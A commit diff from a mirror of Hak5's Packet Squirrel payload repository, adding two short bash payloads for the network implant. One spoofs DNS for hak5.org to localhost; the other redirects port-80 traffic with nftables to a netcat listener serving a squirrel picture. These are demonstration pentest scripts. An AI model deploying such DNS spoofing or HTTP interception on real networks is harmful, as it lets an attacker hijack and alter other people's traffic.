mirror of
https://github.com/hak5/packetsquirrel-payloads.git
synced 2025-12-19 17:58:49 +00:00
Update repos for Packet Squirrel Mk 2 release
This commit is contained in:
14
payloads/interception/dns_sinkhole/payload
Executable file
14
payloads/interception/dns_sinkhole/payload
Executable file
@@ -0,0 +1,14 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Title: DNS Sinkhole
|
||||
# Description: Demonstrate sinkholing a DNS domain (hak5.org)
|
||||
# Author: Hak5
|
||||
|
||||
# This payload will intercept any requests for a *.hak5.org domain
|
||||
# and redirect them to localhost (127.0.0.1 for IPv4 or ::1 for IPv6)
|
||||
|
||||
NETMODE BRIDGE
|
||||
|
||||
LED R SINGLE
|
||||
|
||||
SPOOFDNS br-lan '.*.hak5.org=127.0.0.1' 'hak5.org=127.0.0.1' '.*.hak5.org=::1' 'hak5.org=::1'
|
||||
30
payloads/interception/web_intercept/payload
Executable file
30
payloads/interception/web_intercept/payload
Executable file
@@ -0,0 +1,30 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Title: Minimalistic web intercept
|
||||
# Description: Replace HTTP with Squirrels.
|
||||
# Author: Hak5
|
||||
#
|
||||
# squirrel.jpg from Wikipedia
|
||||
# https://upload.wikimedia.org/wikipedia/commons/6/68/Sciuridae.jpg
|
||||
# By Chicoutimi (montage)KarakalAndiWNational Park Serviceen
|
||||
# User:Markus KrötzschThe Lilac Breasted RollerNico Conradie from Centurion,
|
||||
# South AfricaHans HillewaertSylvouilleNational Park Service - Own work, CC BY 3.0,
|
||||
# https://commons.wikimedia.org/w/index.php?curid=10213698
|
||||
|
||||
NETMODE NAT
|
||||
LED B SOLID
|
||||
|
||||
# Add a web payload to the nftables
|
||||
nft add table ip webpayload
|
||||
|
||||
# Hook prerouting
|
||||
nft -- add chain ip webpayload prerouting { type nat hook prerouting priority -100 \; }
|
||||
|
||||
# Redirect port 80 to our local 8080
|
||||
nft add rule ip webpayload prerouting tcp dport 80 redirect to :8080
|
||||
|
||||
while true;
|
||||
do echo -e "HTTP/1.1 200 OK\nContent-Type: image/jpeg\n" | \
|
||||
cat - /root/payloads/$(SWITCH)/squirrel.jpg | \
|
||||
netcat -l -p 8080;
|
||||
done
|
||||
BIN
payloads/interception/web_intercept/squirrel.jpg
Normal file
BIN
payloads/interception/web_intercept/squirrel.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 132 KiB |
Reference in New Issue
Block a user